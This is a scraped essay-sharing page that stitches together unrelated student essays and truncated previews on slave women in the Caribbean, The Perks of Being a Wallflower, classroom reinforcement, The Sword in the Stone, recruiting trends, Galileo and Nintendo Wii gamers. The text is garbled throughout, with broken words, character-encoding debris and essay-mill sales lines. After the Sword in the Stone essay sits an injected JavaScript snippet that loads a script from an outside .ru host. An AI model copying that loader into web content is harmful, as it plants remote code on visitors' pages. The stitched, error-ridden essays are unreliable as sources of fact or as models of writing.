Women s Influence On Women - 1084 Words

There have been great debates that cause people to have a deep interest in the lives of slave women during slavery in the Caribbean and the Southern parts of the USA. According to Deborah Gray White women has lost their identity, because the history of women has been based off of myth rather than the history of women (ar’n’t I a woman page 3). History is supposed to give people a clearly look into their past, but women believe that they have to prove their women hood; although, many women has proven this during slavery and all of their hard ships, women are still looking for their personal identify as a women. This essay will show how enslaved women were significant and their hardship proved their identity within the slave trade in the British Caribbean and South Carolina. The British Caribbean slave societies were based on the production and the reproduction of slave women during their hardship. Barbados became the first British settlement in the Caribben in the 1652 and then British took over Jamaica in 1655 (http://abolition.e2bn.org/slavery_45.html).This was the start of British slave trade better known as the Transatlantic Slave Trade. Before the middle 1800, African women and girls were forcibly taken to the Americas then the number of Europeans women and girls that migrated at that time. The number rate for selling slaves was always high when it came to women, because they were needed for childbirth and hard labor (Hard Labour, Barbara pg 83). A lot of plantationsShow MoreRelatedWomen s Influence On Women1288 Words   |  6 Pagespeople perceive women. Society in the 1900s to today has made makeup a necessity for a woman to be considered feminine. Cosmetics were first used in America in 1888 by an unknown inventor from Philadelphia, and were tr ademarked under the name Mumm. During the early years of the 20th century, makeup became fashionable in the United States of America and Europe owing to the influence of ballet and theatre stars (Chaudhri and Jain 2.) Makeup began to flourish in America in the 1930s. Women used the mostRead MoreWomen s Influence On Women846 Words   |  4 Pagesrecent times, which influenced a new worldview. During the 1960s, the liberation movement pushed for egalitarianism for women. This movement really made an impact on woman. Women started to rebel against the normal sexual traditions. Additionally, women started to shy away from their traditional roles in the home. It is not uncommon now for women and men to share household duties. Women also uphold demanding jobs and profession in society now. These multiple roles affect the woman in many ways. For instanceRead MoreWomen s Influence On Women1004 Words   |  5 PagesAdvertising has been around since the 1850’s when Volney B. Palmer o pened the first advertising agency in Philadelphia. From the beginning of this era, these ads have aided many businesses in promoting their products to the public but they don’t only promote these specific products. These advertisements promote what are thought to be social â€Å"norms† for women. They sell ideals for family, work, love, and the success that women are allowed to have. With all of this, they aim to communicate how a womanRead MoreWomen s Influence On Women2148 Words   |  9 Pageseveryone but unfortunately that is not the case. Pressures make women believe that they are not considered beautiful if they do not have magazine model bodies or they don’t have the face structure of a celebrity or they do something different than the norm with their hair or they are too short. It really is not a wonder why women struggle to feel pretty every day. False impressions are being put in the minds of youth and public by media that women just can’t liv e up to and shouldn’t have to. It all startsRead MoreWomen s Influence On Women Essay2292 Words   |  10 PagesQuestion: â€Å"Women received the vote based on their contribution to the war effort†. How accurate is this view that women gained the vote based solely on war work? 20 marks Attitudes towards women in 1900 were very different from attitudes today. In 1900 women’s personality traits were traditionally that they were emotional, untruthful immature, and so they were seen unfit and unworthy of the vote by men at that time. Many historians argue that there were many factors which led women to receivingRead MoreWomen s Influence On Women1599 Words   |  7 PagesDuring the 1920s, ‘30s, and ‘40s, women were making extreme social progress. They were starting to wear more revealing clothing, cutting their hair shorter, and generally becoming more respected in society. When the 1950’s came, however, women seemed to backtrack. The ‘50s housewife is a common stereotype associated with these times because of the rapid increase of ‘stay at home’ mothers. It was now the women’s job to stay at home and clean, cook, and watch the children when the husband was at workRead MoreWomen s Influence On Women1167 Words   |à ‚  5 PagesA notion of women have changed through encounter of various European people. Before that, they have their original culture, especially women role in the society was characteristic among mid-seventeenth centry to eighteen century. At the beginning of the book, the author Gunlong Fur shows that women had important role in the Native American society of Lenape. Firstly, they had responsibility of cultivating food, like corn and other vegetables. At this point, women knew when they should sow seeds byRead MoreWomen s Influence On Women997 Words   |  4 PagesOn a regularly basis women are judged for their appearance everywhere they may go. Whether it is by other woman or men, there are always negative remarks said about women. This is usually the reason why woman chose to wear make, to feel better about themselves during every occasion and enhance and array the beauty they already have. Of course, it is not necessary for woman to wear, but woman still do it because it makes them feel better. It is a form of great art used to elevate the beauty each womanRead MoreWomen s Influence On Women Essay1385 Words   |  6 Pagesthat when a women desires something, no one can stop her.† Individuals, scholars, and groups concerned with human rights and feminism, often criticize Islam over the treatment of their women. Westerners, such as form er first lady, Laura Bush, began a social political crusade in the name of â€Å"saving Muslim women† from â€Å"deliberate human cruelty.† In literature, they were depicted as stubborn, unfaithful, fragile, whose actions were based on the fear of the male figure. In everyday life, women are facedRead MoreWomen s Influence On Women1095 Words   |  5 Pagesfashion has been tremendously changing throughout the history. Women belonging from different ethnic group had different fashion, even the women belonging from same ethnic group followed different fashion depending on their race, cast, status or religion. Different clothing styles have impacted the women in different ways; in different eras the character of women has been determined by their clothing style. Similarly, clothing patterns of women in United States kept changing throughout the time. Fashion

The Movie Perks Of Being A Wallflower - 2368 Words

The movie â€Å"Perks of Being a Wallflower† is about a young teenage boy, name Charlie and his many struggles that he’s faced with as he enters his freshman year of High School. The movie, while at times entertaining, addresses many issues that many teenagers go through in early and late adolescent years. Bullying, sexual identity, substance abuse, romantic relationships, loss, high risk behaviors, sexual abuse, and suicide are topics that are addressed in this fascinating movie. The movie is a coming of age story that describes a difficult time for many teenagers who struggle to find themselves and their identity in society. Watching this movie, I was reminded of my own high school experience and could identify with the struggles and challenges that Charlie and his friends faced throughout their teenage years. The main character Charlie, is a young teenager who is shy, socially awkward, and an introvert who is ready to begin his freshman year of high school. Cha rlie struggles with his new transition from middle to high school, and he is uncertain what to expect as he prepares to enter this new life event. His social circle is minimal to non-existent while he is dealing with the suicide of his best friend earlier in the year. In addition, he also seems to struggle with the loss of his aunt who was killed in a car accident when he was a young boy. While he does appear to have good family support with his mother, father, older brother and sister. He also appears toShow MoreRelatedAnalysis Of The Movie Perks Of Being A Wallflower 1698 Words   |  7 PagesThe movie â€Å"Perks of Being a Wallflower is a bout an young teenage boy, name Charlie and his many struggles that he is faced with as he enters his freshman year of High School. The movie, while at times entertaining, addresses many issues that many teenagers go through in early and late adolescent years. Bullying, sexual identity, substance abuse, romantic relationships, loss, hi gh risk behaviors, sexual abuse, and suicide are topics that are addressed in this fascinating movie. The movie a comingRead MoreThe Perks of Being a Wallflower Compare and Contrast Essay808 Words   |  4 PagesThe Perks of being a Wallflower Compare and Contrast The book and the movie for The Perks of Being a Wallflower are extremely different, and I believe that the movie is much better than the book. The book is written much differently than the movie. There are lots of scenes that are in the book but not in the movie and that are in the movie not the book. The movie focuses less on the bigger, depressing topics than the book does. The characters in the movie are also much different than theyRead MoreThe Perks Of Being A Wallflower1401 Words   |  6 PagesI chose to do my Abnormal Psychology paper over The Perks of Being a Wallflower. I heard about this movie a couple of years ago and I never had time to watch it until recently. I did have a difficult time diagnosing what disorder I thought the main character had, but it turned out to actually be a learning opportunity for myself. This assignment did give me the opportunity to watch the movie differently than I have examined a movie before. What I mean is, for this assignment, I had to examine inRead MoreThe Perks Of Being A Wallflower870 Words   |  4 Pagesthe scientific study of being behavior in human groups (Schaefer). There are very many examples of sociology in the movie The Perks of Being a Wallflower, but I view alienation, deviance, and gender roles to be the most prominent. This movie is about the struggles of a teenage boy named Charlie’s freshman year of high school. Charlie is seen as a social outcast and he just barely makes it through the year with the help of his best friends Sam and Patrick. Throughout the movie Charlie experiences mostRead MoreThe Sense of Self in Adolescence: Teenager Movies Essay1325 Words   |  6 PagesIdentity Status Interview theory, and culture over time.(Arnett, 2013) Perks of Being a Wallflower (Halfon, Malkovich, Smith Chbosky, 2012), is a film that takes place in the south, about a freshman named Charlie, who starts high school with no friends. He just wants to be accepted by his peers and fit in. The Wallflowers, which are seniors, take him under their wing and give him the opportunity to experience the life of being divergent. Can’t Buy Me Love (Mount Rash, 1987) is a film about aRead MoreAnalysis Of Stephen Chbosky s The Catcher Rye And F. Scott Fitzgerald And Tennessee Williams1460 Words   |  6 Pageswas born in August†(Thompson 3).The Perks of Being a Wallflower is an epistolary novel that follows an intellectual and emotional maturation of a teenager who uses the alias of Charlie over the course of his first year of high school. The Perks of Being a Wallflower was banned because parent complained about the books decpetion of homosexualtiy, sex, masturbation, and the use of alcohol and drugs. Elizabeth Thompson stated â€Å" 2. The Perks of Being a Wallflower is the only controversial book thatRead MoreThe Perks of Being a Wallflower: Image of the Self Essay2952 Words   |  12 Pagesï » ¿ THE PERKS OF BEING A WALLFLOWER Czarina Ann B. Baptisma Hum St 25 Ma’am Odal-Devora October 18, 2013 INTRODUCTION Stephen Chbosky’s The Perks of Being a Wallflower is a coming-of-age novel about a 15-year-old boy, Charlie, who is unable to repress any emotions. The novel was first released on 1999 by MTV Books. It has quietly sold nearly half a million copies.1 Stephen Chbosky was born on January 25, 1970 and raised in Pittsburgh, Pennsylvania. He grewRead MorePerks of Being a Wallflower Context Analysis1813 Words   |  8 PagesThe Perks of Being a Wallï ¬â€šower: Context Analysis Paper ! Stephen Chbosky, a 29 year-old ï ¬ lm director and screenwriter published his ï ¬ rst semi-autobiographical novel in 1991, The Perks of Being a Wallï ¬â€šower. He later directed the movie in 2011 and released it in October 2012. The central theme of the story revolves around the struggle to understand the terrible things that inevitably happen to those we love and to ourselves. It unfolds through a series of letters written by the main character, CharlieRead MoreThe 2012 Film The Perks of Being a Wallflower1233 Words   |  5 PagesThe 2012 film The Perks of Being a Wallflower, directed by Stephen Chbosky, is a modern classic that captures the highs and downs of growing up. It is a moving film about first love, fear, hope, and unforgettable friend s. The Perks of Being a Wallflower is a great media text to convey the meaning of groups and leaders, technology in everyday life, and the affects on my own media profile. Logan Lerman stars as Charlie, the introverted and naà ¯ve high school freshman. Charlie is already counting downRead MoreHigh School And Social Hierarchy1246 Words   |  5 Pagesa sense of belongingness and security. Although there are positive aspects of cliques, there is a correlation between cliques and social pressure. Some clique members deal with the anxiety of constantly trying to impress their peers or the fear of being kicked out of the group while those who are outcasts may face bullying and feelings such as loneliness and depression. Either way, links have been found between certain coping mechanisms pertaining to the social pressure adolescents face. For example

Positive and Negative Reinforcement Free Essays

Positive and Negative Reinforcement Reinforcement is an essential part in identifying and encouraging a certain behavior. In the most classic definition, positive reinforcement is a method of identifying to children which behaviors are acceptable and appropriate and which are not (Sigler, E. Aamidor, S, 2005). We will write a custom essay sample on Positive and Negative Reinforcement or any similar topic only for you Order Now Reinforcement is often given as praise for doing a certain task. As educators, saying â€Å"great job† or a simple word like â€Å"fantastic† are expressed towards students as praise. However, when a student is struggling and praise is given such as â€Å"you are doing so well†, the negative aspects of praise present themselves. The child is aware of the empty praise therefore it may work against the teacher if it is taken as a false praise. So, as educators, we must determine what reinforcements will work with each individual child through experimentation. Also, building a relationship with not just the child, but the parents and all those involved with the child will be instrumental in developing the proper use of reinforcements and can be helpful in gaining knowledge of certain behaviors. The stronger reinforcements for most children are usually food, candy, or drinks. The durability and effectiveness of a reinforcer can usually be determined best by reinforcing the behavior intermittently or by providing a strong alternative which could interfere with the behavior in question (Ferster, C, 1961). Positive reinforcement is not just about the behaviors of the child but the reaction of the teacher and the adults to certain behaviors. Although a child may attempt to test the boundaries of one’s attention, positive attention does not make a child behave inappropriately (Sigler Aamidor, 2005). The reinforcing comes from the teacher or adults actions and words. For example, Joshua is an eight-year-old autistic boy who begins to whine and cry every single time the teacher tries to get him to begin a task that he dislikes. Most of the time Josh only wants to play on the computer, participate in gym, or eat. Each and every time Josh began to break down the staff usually asked him what he wanted or just gave in to what he wanted to do, not even trying to redirect him to the actual task at hand, which his classmates were doing. Joshua would get rewarded with chocolate, potato chips, and even some sympathy hugs from the staff. The behavior became more frequent and the result was the same. By now Joshua knew what he was going to get when he acted out, which was whatever he wanted. However, to change his behavior the staff began to ignore Josh and his outbursts. After a short time of whining and crying Josh threw himself on the floor but the staff still ignored the behavior. He then realized that he was not going to get the same results as he was getting by whining and crying when things didn’t go his way. The teacher then got his attention with another activity and Josh began to take part in the activity. A couple weeks later, after the same lesson, Josh’s behavior was almost extinguished and slowly that behavior was no longer happening in the classroom. On the other hand, negative reinforcement is the removal of an aversive stimulus to increase a certain behavior. For example, when a student is distracted from his work due to loud music playing, however his work improves when the music is off, then the music being turned off is the reinforce. The difference between positive and negative can sometimes be difficult to acknowledge when there are several consequences and the need of the distinction is debated. The main purpose of giving punishments and rewards is to decrease or increase the behavior of the learner (Dad, Ali, Qadeer Janjua, Shazad, and Khan, 2010). Raul is a student with an emotional disorder and requires a great deal of support to help with his academic goals. Raul is extremely sensitive and becomes very overwhelmed when things don’t go his way. He whines, cries, and loses control when he feels exhausted from taking instruction. Raul is very intelligent and needs to get verbal praise throughout his day to stay on task. His triggers are usually when he is asked to sit down within the circle during circle time. The behavior is him pulling away, crying, and hitting, trying to escape the actual activity. The maintaining consequence is that the adults let Raul leave the circle. There is not much fight with Raul because all those involved do not want the other students to become distracted. The first prevention is to give Raul some type of choice to coincide with circle time. A visual activity schedule could give him a more clear idea of what he should be doing and what the daily lessons and activities are. Raul will know exactly where he needs to be and what he needs to be doing at that particular time. Also, manipulatives and intermittent praise are other preventions that the teacher can use. Intermittent praise is praised use throughout the activity but not regularly. This type of praise is given to become persistent. The new skills that can be developed are a part of the plan and may be implemented accordingly. Raul may have increased time of engagement, such as a longer duration of sitting within the circle. Raul will say â€Å"all done† when he has completed a task so praise can be given. This will help the adults notice him if he is not given the correct amount of attention. The responses to Raul for sitting longer will also be all positive praise toward Positive reinforcement is something that rewards the individual for an action taken. When students do or exhibit the correct or desired behaviors in school, then rewarding them for this action is what is known as positive reinforcement. There are many examples for these actions. Students that hand in homework on time may be given time near the end of class to put their books away and work on or do something they want to do within the rules of the school. Putting stickers on work well done so the student knows they did the right thing. Giving the class a free day or having fun activities planned for them to do instead of working on a certain day. Giving a weekly or reward to the student who has the best attendance or best behavior in the class. There are many ways to reward students or show them that by using good behavior, they can be rewarded for their actions and this will cause the student to want to do the right thing versus misbehaving in the classroom. References Dad, H. ; Ali, R. ; Qadeer Janjua, M. ; Shazad, S. ; Khan, M. (2010). Comparison of the Frequency and effectiveness of positive and negative reinforcement practices in schools. Contemporary Issues In Education Research. 3(1), 127-135. Ferster, C. B. (1961). Positive reinforcement and behavioral deficits of autistic children. Child Development. 32(2), 437. Sigler, E; Aamidor, S. (2005). From positive reinforcement to positive behaviors: an everyday guide for the practioner. Early Childhood Education Journal. 32(4), 249-253. How to cite Positive and Negative Reinforcement, Papers

Cliff free essay sample

# 8217 ; s Papper Essay, Research Paper The Sword in the Rock The Sword in the Stone is a book about an adoptive kid named Wart. He is of royal blood and does non cognize this. One twenty-four hours when Wart is in the wood, he finds a prestidigitator named Merlin. Merlin comes place with Wart and agrees with Sir Ector, Wart # 8217 ; s defender, to go Wart # 8217 ; s coach. Merlin goes about educating Wart by transforming him into different animate beings. Through each transmutation Wart experiences different signifiers of power, each being a portion of how he should govern as male monarch. The first transmutation dips Wart and Merlin into the palace # 8217 ; s fosse as fish. They proceed to run into the largest fish in the fosse, who is the swayer. This fish takes what he wants because of his size. In a address about power, he tells Wart that, # 8220 ; Might is right, # 8221 ; and might of the organic structure is greater than might of the head. Because of the manner the fish-king regulations, his topics obey him out of fright for their lives. Wart experiences this firsthand when the fish-king Tells him to go forth. He has grown bored of Wart, and if Wart does non go forth he will eat him. The male monarch uses his size as his claim to power, hence his topics follow him out of fright. In Wart # 8217 ; s following transmutation into a hawk, he soars into the palace # 8217 ; s mews. All the birds in the mews have a military rank. Their leader is an old falcon, who Sir Ector keeps for show. The birds who rank below the falcon, hold her in highest respect because of her age. She applies her power over the other birds with no concern for their lives. In one case, Wart is ordered to stand following to the coop of a brainsick hawk who about kills him. On the other manus, her seasoned age brings regard, since she had non been released once she outlived her utility as a huntress. This allows her to keep a powerful clasp over all the birds she regulations through fright and regard. Following, Wart is transformed into an emmet and posted within an emmet settlement. There is a individual leader of the emmets, and she is the lone thought person in the whole nest. All the emmets are manipulated and overseen by her. Each emmet has a specific undertaking, which it completes repeatedly. The absolute power exerted by the leader destroys all individuality, go forthing the emmets with no creativeness. Alternatively, they use test and mistake to complete undertakings that should take merely a little sum of idea. Wart sees this occur when an ant attempts with trouble to form three corpses in a little burial chamber, when a little sum of concluding would hold solved gt ; the job rapidly. The emmets are of a corporate head, so that what one thinks, they all think. They go about their day-to-day lives unmindful to the command the leader has over them. Wart # 8217 ; s 4th transmutation topographic points him in a flock of geese. These geese are a peace loving race that neer kill. There is one leader to a group who is called The Admiral. He guides them on their flight South for the winter. The Admiral receives his place because of his cognition of the southern migration path. He is merely elected if all the geese in the migration group hold he is capable of making the occupation. During the flight the geese obey his picks, since he is their elective leader. But his power ends one time they are back on the land, where he is merely looked upon as a well-thought-of senior. In the concluding transmutation Wart visits the Wisconsinite. The Wisconsinite is a great philosopher who enjoys giving scholarly commentaries. While Wart is sing him, he explains a narrative he has written on the creative activity of the carnal kingdom # 8217 ; s hierarchy. In his commentary he explains how adult male answered God # 8217 ; s riddle and is awarded control over the carnal land. He lives a life of purdah because many other animate beings do non believe at his degree. They listen because he is old and experient, and with this comes regard. Through each of the transmutations, Wart sees different utilizations of power. Wart must take how he will finally regulate his land. The leaders he visits, regulate in their ain manner, each retaining their power through different methods. When these are combined, the following image of how a leader should or should non govern emerges: A leader should non effort to govern his or her people through might and fear, as does the fisk-king. Unlike the falcon, a swayer should non retain power merely because of age, and should govern with the topics well-being in head. One should non exert entire control over one # 8217 ; s topics, because they lose creativeness and individuality as shown by the emmets. A democratically elected leader, whom topics have faith in his or her ability to acquire a occupation done, and who has the required accomplishments will finish the undertaking at manus, as do the geese. Leaderships must give great thought to doing determinations related to their usage of power, and utilize their experience, like the Badger. Besides like the Badger, these determinations should be made without the aid of others, and hence may take to solitude. T. H. White is hence similar to Merlin in seeking to learn us about leading. ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;

4 crucial recruiting trends you need to know

4 crucial recruiting trends you need to know As an HR or recruitment professional, you know that some things in your field never change- like matching the right talent with the right position. Just about everything else, however, may be up for grabs. Like every other industry, recruiting grows and evolves with the times. So what does that mean for this year? Let’s look at some of the biggest trends that will impact your professional life in the coming months.Crunching the dataWe live in a data-driven society now. And using that data to refine hiring practices isn’t an especially new concept, but the level of detail we can harvest and use, as well as the tools we can use to analyze the information, has grown exponentially. According to Jobscience, developing a clear data-driven strategy for hiring can help speed up the hiring process from a current average of two months to fill a given position.Data from current employees (like skills, level of experience, time in the position, or job performance) can help you deve lop metrics for recruiting people with the right skill sets. It can also help you figure out ahead of time which candidates might be a flight risk, or determine what kinds of hiring packages you should offer to ensure job offer acceptance and employee retention down the road.If your company isn’t data-focused just yet, don’t worry- there’s lots of emerging tech that can help you get there. For example, this year LinkedIn is releasing Talent Insights, a self-service tool that compiles analytics data on talent pools, employee skills, and workforce composition to help companies streamline their own analysis and hiring decisions.Embracing automationSpeaking of tech solutions, nothing has revolutionized talent acquisition quite like automation. The days of hand-scouring a slush pile of resumes for the right interview candidates are gone now. Artificial intelligence (AI) tools are already helping staffing and recruiting professionals to streamline virtually every part of the hiring process- particularly the early stages, when large talent pools need to be narrowed for particular positions.hbspt.cta.load(2785852, '9e52c197-5b5b-45e6-af34-d56403f973c5', {});Chances are, you already use some of the automated apps and software out there to read resumes and identify potential candidates based on keywords or other metrics. But what’s coming next will revolutionize hiring even further: tools that not only screen resumes and application materials, but also schedule candidates, create compensation models, and source candidates for future job openings.Going hand in hand with a stronger focus on data analysis, these AI tools have the potential to make the recruitment, hiring, and retention processes more efficient. Using chatbots, companies can also add a â€Å"human† touch when reaching out to candidates to answer questions, schedule interviews, or conduct assessments. We still haven’t reached peak â€Å"Alexa rules the world† when it comes to using AI in corporate hiring, but the tools that are now emerging are bringing that level of automation closer to reality.Stepping up diversity and inclusivityDiversity in the workplace has shifted from a â€Å"nice to have† in many companies to a â€Å"must have,† driven by increased public scrutiny and accountability. In order to keep up with the growing diversity of the workforce, companies are left trying to figure out how to not only find more diverse candidates but also improve employee retention and meet the needs of that workforce. However, many companies are finding that merely hiring for diversity just isn’t enough- if employees feel like token hires, or like they’re add-ons, it can have serious repercussions for employee engagement and retention. Companies need to get serious about adding inclusivity as part of their diversity plans.So what does that mean in the short-term? It’s not about filling numbers or quotas- itâ⠂¬â„¢s about creating an environment that feels welcoming to a broader range of qualified people. Checking boxes on hiring forms won’t cut it. Instead, companies are turning to holistic reviews of their company policies and culture to make sure that people of diverse backgrounds, genders, etc. feel like part of the team.Rethinking the company’s culture and making conscious efforts to make it more welcoming is not the only avenue for companies to consider if they’re looking to expand their inclusivity. Much of the change happens in the employee recruitment arena: reaching out to local communities, broadening language in job postings and descriptions to reach a more diverse audience, ensuring diversity in recruiting or interview panels, educating employees and recruiters on unconscious bias, and consulting employee resource groups for guidance.Rethinking the interview processAs part of the trend of increasing efficiency in all areas of hiring, we’re also st arting to see closer scrutiny around whether the traditional interview process still works with a quickly evolving recruitment world. Traditional interviews require a significant investment of time and energy on the company’s part. That’s time that could be spent on data analysis or other initiatives. Candidates need to be reviewed, scheduled, interviewed, interviewed again as necessary, and handled at every point through the process. So how can that process be streamlined?Companies are increasingly turning to alternative interview formats to identify the best candidates for a position. Instead of the usual â€Å"you come in and spend hours talking to a panel or a series of interviewers† format, some companies are hosting â€Å"auditions,† or competitions that give candidates a chance to demonstrate the skills necessary for the job. From these hands-on interviews, employers can get a stronger sense of what the candidate can do, rather than rely on resumes and general questions in a traditional interview format.How recruiters and hiring managers read resumes is changing as well. Before, hard skills and experience were king; now, the focus is slowly moving to soft skills (like people skills, organizational skills, and teamwork) and potential over experience. It’s not that experience no longer matters, but rather that companies are increasingly valuing trainability and teamwork over what a candidate has done in the past.Many companies are also shifting interview responsibilities to the employees who will actually be working with the new hire, in an effort to get a more realistic sense of how a candidate might fit in with the day-to-day dynamics. These interviews may be informal, but they give the candidate a chance to see what the job is really like and give the current employees a chance to weigh in on how the candidate might fit in with the existing team.In 2018, the message is pretty straightforward: work smarter, not necessa rily harder, to find the people you want for the jobs you need to fill. Whether that’s using the new tech tools at our disposal, or rethinking how we bring people into the fold, the status quo just isn’t going to cut it anymore.

The Heresy of Galileo essays

The Heresy of Galileo essays THE HERESY OF GALILEO Galileo was condemned by the Inquisition, not for his own brilliant theories, but because he stood up for his belief in Copernicus's theory that the earth was not, as the Church insisted, the center of the universe, but that rather, the universe is heliocentric. Galileo was a man of tremendous intellect and imagination living in a era dominated by the Catholic Church, which attempted to control the people by dictating their own version of "reality." Any person who publicly questioned Church doctrine ran the chance of condemnation and punishment. If man could think, man could question, and the Church could lose its authority over the masses. This could not be tolerated in the 17th century, when the Church had the power to dictate "reality." Copernicus probably avoided a similar fate by confining his opinions to his students and the university milieu, and in fact his theories were not published until the time of his death. To be tried by the Inquisition was something that nobody could take lightly. Although in Galileo's time the Inquisition was becoming more and more lenient, it was known to have used torture in the past and to have sent many heretics to burn at the stake. As late as 1600, this fate had befallen the Italian thinker Giordano Bruno, a one-time Dominican friar who had adopted a From the summer of 1605, Galileo was private tutor of mathematics to young Prince Cosimo de' Medici, son of the Grand Duke of Tuscany. Teacher and pupil became sincerely attached to each other by mutual affection and deference, and this bond lasted to the end of Galileo's life. Galileo remained a good friend of the Grand Duke as well. In the summer of 1611, the Grand Duke invited Galileo to a dinner party at his court. The Duke liked to gather great scholars around him, especially when he had illustrious guests, to hear them talk about issues of ...

An investigation weather the Nintendo Wii attract females more than Essay

An investigation weather the Nintendo Wii attract females more than males - Essay Example Using a purposive sample of 107 Nintendo Wii gamers, the present study suggests that males are more likely to be attracted to using or playing the Wii more than their female counterparts, as attested to by their higher ratings on beliefs, subjective norms, and behavioural intentions. They concurred only on one subscale, which is perceived behavioural control, suggesting agreement that there is adequate control on excessive use of the Nintendo Wii. On the Theory of Reasoned Action, it was found that males tended to give higher ratings on the beliefs, subjective norms, and behavioural intentions that are related to the use of the Nintendo Wii. ... Students’ gender differences in their response to technology use have been identified and explained by many researchers who have had varying results in their studies. For instance, in a study by Vasil, Hesketh, and Podd (1987), it was found out that females do not prefer being involved in technological activities and that they are less participative in technology-related events compared to males. Gender differences have also been evident in the use of the Internet and the computer in general as findings of Shashaani (1997) showed how boys take more interest in computers compared to girls. Nonetheless, Internet usage has become common not just among males but among females as well. Computer games, meanwhile, have been obtaining a great deal of attention than previous years as a source of pleasure and enjoyment among young individuals. The gaming industry along with well-accepted media has recognized the usage and play of women when it comes to digital games (Beasley and Standle y 2002). The increasing popularity of video games and the improved sales of game titles may point out that members of the female population have taken part in the expanding gaming audience. Previous research about females and their associations with video games has mainly been divided into two main areas- the assessment of female representations in video games (Heintz-Knowles and Henderson 2002), and the surveys or interviews conducted among female players with regards to their interests, level of play, and overall thoughts about video games and the gaming culture in general (Yates and Littleton 2001). A number of studies on virtual games suggest that